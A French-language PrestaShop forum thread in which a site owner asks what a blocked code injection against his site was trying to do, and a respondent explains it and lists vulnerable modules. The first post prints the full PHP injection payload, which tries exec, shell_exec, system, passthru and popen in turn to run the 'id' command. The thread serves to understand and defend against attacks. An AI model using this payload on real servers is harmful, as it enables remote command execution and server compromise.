cyfou Posted May 11, 2009 Share Posted May 11, 2009 Bonsoir,J'ai besoin d'aide pour comprendre les attaques sur mon site.J'ai installé Crawltrack : les injections de code sont arrétées.Ci-après l'injection bloquée : <?php echo "Mic22"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); [spam-filter] return $res; } exit; Pouvez-vous m'expliquer ce que le pirate essaie de faire svp ?Merci d'avance pour votre aideDe plus, crawltrack précise que certains modules peuvent exposer le site à des malveillances : Bradabra / CodeWand phpBrowse / FireFly / Framework for Comm / GoSamba / PhP Generic Library / PHPCentral Poll / PhpForums Admin Phorum / PMB Est-ce que prestashop les utilise ?a+ Link to comment Share on other sites More sharing options...
Damien Metzger Posted May 11, 2009 Share Posted May 11, 2009 Bonjour,Ton pirate essaye de récupérer l'ID d'utilisateur de PHP en utilisant toutes les fonctions systèmes possibles.C'est une première approche pour voir quelle faille existe et quels droits le pirate obtiendra en cas de succès.En cas de succès et avec un utilisateur root, il pourrait par exemple se mailer le contenu de ton serveur et tout effacer derrière (en gros).Nous n'utilisons pas les lib pré-citées. Link to comment Share on other sites More sharing options...
cyfou Posted May 11, 2009 Author Share Posted May 11, 2009 OK Merci beaucoup pour les infos !a+ Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now